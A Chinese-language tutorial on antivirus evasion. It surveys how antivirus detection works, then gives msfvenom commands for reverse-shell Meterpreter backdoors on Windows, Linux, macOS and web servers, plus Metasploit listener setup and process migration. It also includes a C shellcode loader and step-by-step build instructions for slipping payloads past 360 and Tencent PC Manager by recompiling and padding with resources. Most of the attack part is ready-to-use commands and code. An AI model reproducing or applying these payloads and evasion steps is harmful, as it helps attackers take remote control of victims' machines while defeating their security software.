每日一句:
君王游乐万机轻,一曲霓裳四海兵。 ——李约《过华清宫》
多练习,学了就练习,不然没效果。
本文内容:
~常用命令
~常见的生成后门模式
~绕过360生成测试
~绕过腾讯管家生成测试
目的:从后门生成模块到权限维持
零、杀毒与免杀的对抗
1,免杀技术发展史
理论上讲,免杀一定是出现在杀毒软件之后的。而通过杀毒软件的发展史不难知道,
第一款杀毒软件kill 1.0是Wish公司1987年推出的,也就是说免杀技术至少是在1989年以后才发展起来的。
关于世界免杀技术的历史信息已无从考证,但从国内来讲,免杀技术的起步可以说是非常晚了。
1989年:第一款杀毒软件Mcafee诞生,标志着反病毒与反查杀时代的到来。
1997年:国内出现了第一个可以自动变异的千面人病毒(Polymorphic/Mutation Virus)。
自动变异就是病毒针对杀毒软件的免杀方法之一,但是与免杀手法的定义有出入。
2002年7月31日:国内第一个真正意义上的变种病毒“中国黑客II”出现,它除了具有新的特征之外,
还实现了“中国黑客”第一代所未实现的功能,可见这个变种也是病毒编写者自己制造的。
2005年09月:免杀技术开始真正的火起来。
由上面的信息可见,国内在1997年出现了第一个可以自动变异的千面人病毒,
虽然自动变异也可以看为是针对杀毒软件的一种免杀方法,但是由于与免杀手法的定义有出入,
所以如果将国内免杀技术起源定位1997年会显得比较牵强。
一直等到2002年7月31日,国内第一个真正意义上的变种病毒“中国黑客II”才迟迟出现,
因此我们暂且可以将国内免杀技术的起源定位在2002年7月。
2,杀软原理简介()
杀毒软件检测方式
1,扫描技术
1、扫描压缩包技术: 即是对压缩包案和封装文件作分析检查的技术。
2、程序窜改防护: 即是避免恶意程序借由删除杀毒侦测程序而大肆破坏电脑。
3、修复技术: 即是对恶意程序所损坏的文件进行还原
4、急救盘杀毒: 利用空白U盘制作急救启动盘,来检测电脑病毒。
5、智能扫描: 扫描最常用的磁盘,系统关键位置,耗时较短。
6、全盘扫描: 扫描电脑全部磁盘,耗时较长。
7、勒索软件防护: 保护电脑中的文件不被黑客恶意加密。
8、开机扫描: 当电脑开机时自动进行扫描,可以扫描压缩文档和可能不需要的程序
2,监控技术
1、内存监控: 当发现内存中存在病毒的时候,就会主动报警;监控所有进程;
监控读取到内存中的文件;监控读取到内存的网络数据。
2、文件监控: 当发现写到磁盘上的文件中存在病毒,或者是被病毒感染,就会主动报警。
3、邮件监控: 当发现电子邮件的附件存在病毒时进行拦截。
4、网页防护: 阻止网络攻击和:提醒用户可疑的应用程序行为。和不安全下载。
5、行为防护
扫描引擎
1,特征码扫描
机制:
将扫描信息与病毒数据库(即所谓的“病毒特征库”)进行对照,如果信息与其中的任何一个病毒特征符合,
杀毒软件就会判断此文件被病毒感染。杀毒软件在进行查杀的时候,
会挑选文件内部的一段或者几段代码来作为他识别病毒的方式,这种代码就叫做病毒的特征码
特征码类别:
(1).文件特征码:对付病毒在文件中的存在方式:单一文件特征码、复合文件特征码(通过多处特征进行判断);
(2).内存特征码:对付病毒在内存中的存在方式:单一内存特征码、复合内存特征码
优点:
速度快,配备高性能的扫描引擎;准确率相对比较高,误杀操作相对较少;很少需要用户参与。
缺点:
采用病毒特征代码法的检测工具,面对不断出现的新病毒,必须不断更新病毒库的版本,
否则检测工具便会老化,逐渐失去实用价值;病毒特征代码法对从未见过的新病毒,
无法知道其特征代码,因而无法去检测新病毒;病毒特征码如果没有经过充分的检验,可能会出现误报,
数据误删,系统破坏,给用户带来麻烦。
2,文件校验和法
对文件进行扫描后,可以将正常文件的内容,计算其校验和,
将该校验和写入文件中或写入别的文件中保存;在文件使用过程中,
定期地或每次使用文件前,检查文件现在内容算出的校验和与原来保存的校验和是否一致,
因而可以发现文件是否感染病毒。
3,进程行为监测法(沙盒模式)
机制:
通过对病毒多年的观察、研究,有一些行为是病毒的共同行为,而且比较特殊,
在正常程序中,这些行为比较罕见。当程序运行时,监视其进程的各种行为,如果发现了病毒行为,立即报警。
优点: 可发现未知病毒、可相当准确地预报未知的多数病毒;
缺点: 可能误报警、不能识别病毒名称、有一定实现难度、需要更多的用户参与判断;
4,主动防御技术
主动防御并不需要病毒特征码支持,只要杀毒软件能分析并扫描到目标程序的行为,
并根据预先设定的规则,判定是否应该进行清除操作 主动防御本来想领先于病毒,
让杀毒软件自己变成安全工程师来分析病毒,从而达到以不变应万变的境界。
但是,计算机的智能总是在一系列的规则下诞生,而普通用户的技术水平达不到专业分析病毒的水平,
两者之间的博弈将主动防御推上一个尴尬境地。
5,机器学习识别技术
机器学习识别技术既可以做静态样本的二进制分析,又可以运用在沙箱动态行为分析当中,
是为内容/行为+算法模式。伴随着深度学习的急速发展,各家厂商也开始尝试运用深度学习技术来识别病毒特征,
如瀚思科技的基于深度学习的二进制恶意样本检测
3,免杀概念
免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,
英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。
免杀技术介绍:
1.修改特征码
免杀的最基本思想就是破坏特征,这个特征有可能是特征码,有可能是行为特征,只要破坏了病毒与木马所固有的特征,
并保证其原有功能没有改变,一次免杀就能完成了。(特征码:能识别一个程序是一个病毒的一段不大于64字节的特征串)
就目前的反病毒技术来讲,更改特征码从而达到免杀的效果事实上包含着两种方式。
一种是改特征码,这也是免杀的最初方法。例如一个文件在某一个地址内有“灰鸽子上线成功!”这么一句话,
表明它就是木马,只要将相应地址内的那句话改成别的就可以了,如果是无关痛痒的,直接将其删掉也未尝不可。
第二种是针对目前推出的校验和查杀技术提出的免杀思想,它的原理虽然仍是特征码,但是已经脱离纯粹意义上特征码的概念,
不过万变不离其宗。其实校验和也是根据病毒文件中与众不同的区块计算出来的,
如果一个文件某个特定区域的校验和符合病毒库中的特征,那么反病毒软件就会报警。
所以如果想阻止反病毒软件报警,只要对病毒的特定区域进行一定的更改,就会使这一区域的校验和改变,
从而达到欺骗反病毒软件的目的。
修改特征码最重要的是定位特征码,但是定位了特征码修改后并不代表程序就能正常运行,
费时费力,由于各个杀软厂商的特征库不同,所以一般也只能对一类的杀软起效果。虽然效果不好,
但有时候在没有源码的情况下可以一用。
2.花指令免杀
花指令其实就是一段毫无意义的指令,也可以称之为垃圾指令。花指令是否存在对程序的执行结果没有影响,
所以它存在的唯一目的就是阻止反汇编程序,或对反汇编设置障碍。
大多数反病毒软件是靠特征码来判断文件是否有毒的,而为了提高精度,现在的特征码都是在一定偏移量限制之内的,
否则会对反病毒软件的效率产生严重的影响!而在黑客们为一个程序添加一段花指令之后,程序的部分偏移会受到影响,
如果反病毒软件不能识别这段花指令,那么它检测特征码的偏移量会整体位移一段位置,自然也就无法正常检测木马了。
3.加壳免杀
说起软件加壳,简单地说,软件加壳其实也可以称为软件加密(或软件压缩),只是加密(或压缩)的方式与目的不一样罢了。
壳就是软件所增加的保护,并不会破坏里面的程序结构,当我们运行这个加壳的程序时,系统首先会运行程序里的壳,
然后由壳将加密的程序逐步还原到内存中,最后运行程序。
当我们运行这个加壳的程序时,系统首先会运行程序的“壳”,然后由壳将加密的程序逐步还原到内存中,
最后运行程序。这样一来,在我们看来,似乎加壳之后的程序并没有什么变化,然而它却达到了加密的目的,这就是壳的作用。
加壳虽然对于特征码绕过有非常好的效果,加密壳基本上可以把特征码全部掩盖,但是缺点也非常的明显,
因为壳自己也有特征。在某些比较流氓的国产杀软的检测方式下,主流的壳如VMP, Themida等,一旦被检测到加壳直接弹框告诉你这玩意儿有问题,虽然很直接,但是还是挺有效的。有些情况下,
有的常见版本的壳会被直接脱掉分析。
面对这种情况可以考虑用一切冷门的加密壳,有时间精力的可以基于开源的压缩壳改一些源码,效果可能会很不错。
总得来说,加壳的方式来免杀还是比较实用的,特别是对于不开源的PE文件,通过加壳可以绕过很多特征码识别。
4.内存免杀
CPU不可能是为某一款加壳软件而特别设计的,因此某个软件被加壳后的可执行代码CPU是读不懂的。
这就要求在执行外壳代码时,要先将原软件解密,并放到内存里,然后再通知CPU执行。
因为杀毒软件的内存扫描原理与硬盘上的文件扫描原理都是一样的,都是通过特征码比对的,
只不过为了制造迷惑性,大多数反病毒公司的内存扫描与文件扫描采用的不是同一套特征码,
这就导致了一个病毒木马同时拥有两套特征码,必须要将它们全部破坏掉才能躲过反病毒软件的查杀。
因此,除了加壳外,黑客们对抗反病毒软件的基本思路没变。而对于加壳,
只要加一个会混淆程序原有代码的“猛”壳,其实还是能躲过杀毒软件的查杀的。
5.二次编译
metasploit的msfvenom提供了多种格式的payload和encoder,生成的shellcode也为二次加工提供了很大遍历,
但是也被各大厂商盯得死死的。而shikata_ga_nai是msf中唯一的评价是excellent的编码器,
这种多态编码技术使得每次生成的攻击载荷文件是不一样的,编码和解码也都是不一样。还可以利用管道进行多重编码进行免杀。
目前msfvenom的encoder特征基本都进入了杀软的漏洞库,很难实现单一encoder编码而绕过杀软,
所以对shellcode进行进一步修改编译成了msf免杀的主流。
互联网上有很多借助于C、C#、python等语言对shellcode进行二次编码从而达到免杀的效果。
6.分离免杀
侯亮大神和倾旋大神都分别提到过payload分离免杀和webshell分离免杀,采用分离法,
即将ShellCode和加载器分离。网上各种加载器代码也有很多,各种语言实现的都很容易找到,虽然看起来比较简单,
但效果却是不错的。比如侯亮大神提到的shellcode_launcher,加载c代码,基本没有能查杀的AV。
7.资源修改
有些杀软会设置有扫描白名单,比如之前把程序图标替换为360安全卫士图标就能过360的查杀。
加资源
使用ResHacker对文件进行资源操作,找来多个正常软件,将它们的资源加入到自己软件,如图片,版本信息,对话框等。
替换资源
使用ResHacker替换无用的资源(Version等)。
加签名
使用签名伪造工具,将正常软件的签名信息加入到自己软件中。
总结,上述内容非常得广泛,在这里仅仅先给大家做个普及。关于免杀,我们今天学习的主要是MSF的二次编译。
一、常用命令
-p: 指定payload模块
-l :列出可用项
-f :指定文件类型
-e: 加载编码器
-b:删除无效字符
-i :指定编码次数
-x: 捆绑文件
-o:导出文件
二、常见的生成后门模式
1,目的:使用MsFvenom快速生成木马并且进行连接
示例:
(1),生成木马
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.221.143 lport=1250 -f exe > shell.exe
-p 指定payload
-e 指定编码平台
-i 指定编码次数
-f 指定文件输出格式
lhost 监听机的IP
lport 监听机的端口
msfvenom MSF的编码模块
windows/meterpreter/reverse_tcp 一个反弹shell的payload
(2),将生成的木马扔到靶机
(3),监听机开启监听模块
监听模块:
use exploit/multi/handler
===记得配置一下options,一般也就需要设置一个payload
设置payload:
set payload windows/meterpreter/reverse_tcp
===注意这个payload要和我们生成木马的要一致
===还有就是配置(修改)一下端口与IP
开启监听:
run
(4),手动打开刚刚生成的木马
(5),返回监听机,成功拿到会话
可以试试,
dir命令看看桌面有哪些东西
getuid看看权限
ps查看进程
migrate 某个进程号
===将木马进程迁移至某系统进程,达到隐藏基进程的作用
===一般迁移至explorer.exe中,这是资源管理器
===这个进程有很多基础功能,作为进程树被用户干掉的话,电脑会直接卡死。
注意的是,此时一般权限不会太高。
可以试试getsystem看看能不能提权
不行的话,就用上一节的补丁提权模块去试试
另外,因为此时权限不够,做一些东西,像360都不会管
比如,创建用户,他会提示权限不够。因为没有成功创建用户,所以360一般也不管
2,常见后门生成方式
1.Windows
Msfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe
Msfvenom –platform windows –a x86 –p windows/x64/meterpreter/reverse_tcp –f exe –o C:\back.exe
2.Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
3.MAC
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
4.PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.153.138 LPORT=1520 -f raw > shell.php
5.Asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
6.Aspx
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.aspx
问:想php,asp这种怎么利用
答:正常将文件放置www文件夹下,开启监听,直接去访问这个文件即可
三、绕过360生成测试
1,安装编译软件VC++6.0
===可以自行百度,也可以找我要
2,生成木马后门
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’ lhost=192.168.177.128 lport=1250 -f c
结果:会生成一些编码 注意:这个命令的符号是中文,记得修改一下。不然MSF会报错
3,将上边生成编码与下边的代码放置同一个文本文档中
代码:
#include "stdafx.h"
#include <stdio.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char buf[] =
(这里放生成好的数组)
main()
{
((void(*)(void))&buf)();
}
4,编译c语言为exe文件
~打开VC++
~新建,选择工程,选择win32 Application
取个名字(以shell为例),调整一下路径,创建新的空间
~创建一个简单的Win32程序
~完成、确定
~选择Source Files\shell.cpp
~将我们上边的C语言代码把原有代码覆盖
~将上边生成的编码数组替换
~选择StdAfx.cpp
~点击组建
~点击编译
~将shell.cpp也编译一下
~点击组建[shell.exe]
注意:要先编译stdafx.cpp文件,在编译你的.cpp,生成木马。顺序不要错
这时,在我们刚刚选择的文件夹里,已经创建好了exe文件
这个生成的exeWen文件已经可以绕过360了,但是这时还不能绕腾讯电脑管家
四、绕过腾讯管家生成测试
1,安装编译软件VC++6.0
===可以自行百度,也可以找我要
2,生成木马后门
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’ lhost=192.168.177.128 lport=1250 -f c
结果:会生成一些编码 注意:这个命令的符号是中文,记得修改一下。不然MSF会报错
3,将上边生成编码与下边的代码放置同一个文本文档中
代码:
#include "stdafx.h"
#include <stdio.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char buf[] =
(这里放生成好的数组)
main()
{
((void(*)(void))&buf)();
}
~打开VC++
~新建,选择工程,选择win32 Application
取个名字(以shell为例),调整一下路径,创建新的空间
~创建一个简单的Win32程序
~完成、确定
~选择Source Files\shell.cpp
~将我们上边的C语言代码把原有代码覆盖
~将上边生成的编码数组替换
~选择StdAfx.cpp
~点击组建
~点击编译
~将shell.cpp也编译一下
~点新建,点击光标文件
~点击,添加到工程
~文件名随便(如aaa)
~点确定,随便画点东西
~点击编译
~点新建,多新建几个干扰项
光标文件及其下边几个
随便命名,随便写
别忘记点击编译
。。。
~最后点击全部组建,
看看shell.exe的大小,不加干扰项应该是169K
加成功干扰下,应该大于169
这个生成的Wen文件已经可以绕过电脑管家了
五、知识补充
问:后门生成模块的作用是什么?
维持访问,持续控制
问:MsFvenom支持生成的脚本有哪些?
使用命令:MsFvenom -l formats查看支持的脚本列表
问:如何查看msfvenom支持的payload?
使用命令:msfvenom -l payloads查看支持的payload
问:如何查看msfvenom支持的编码器?
使用命令:msfvenom -l encoders查看支持的所有编码器
问:什么是shellcode?
Shellcode也就是利用代码
问:Msfvenom导出生成的脚本的方式有那种?
我们可以使用-o参数,或者是“>>”导出文件名
问:在生成木马脚本的时候指定目标系统和目标架构的作用是什么?
生成的脚本的准确性,有些脚本我们生成之后可能无法在对方系统运行
问:Msfvenom生成后门文件的流程是什么?
生成后门文件在对方主机上执行或者触发 2.本地监控设置的端口,然后对方上线即可控制对方主机
问:在监听的时候我们使用什么模块?
使用模块:use exploit/multi/handler
问:在监听的时候我们应该注意什么?
当我们选择了监听模块,然后呢,设置payload的时候要注意使用对应的payload,也就是我们生成木马文件所使用的payload
问:常见的后门生成模式有哪些?
根据需求来,一般来说有php,asp,Windows,linux,mac,powershell等等。
问:安装vc++6.0的作用是什么?
编译我们的C语言的数组,编译成exe可执行文件
问:绕过360软件的思路是什么?
通过msfvenom所生成的C语言,然后编译,这样的话,特征就被去掉了。然后绕过
问:绕过腾讯管家的思路是什么?
通过添加资源文件来改变特征码,从而去绕过,如果被查杀了,纳闷我们就添加一些东西,例如签名,版权,图标等等信息
问:第一次绕过了,为什么第二次会被拦截?
因为,你上传过你的木马后门,然后防护软件进行分析,然后第二次你同样去做,就会拦截了。
这是不断对抗的,所以方式方法以一定只有一种,多种
问:vc++6.0安装在什么地方?
最好安装在win10上因为。如果安装在win7上可能会因为缺少组件报错
问: >可以用什么参数替换?
这个参数我们可以用-o来替换
问:-e参数是干什么的?如何去选择编码器?
-e参数是指定编码器的,选择编码器需要根据对方的系统环境来选择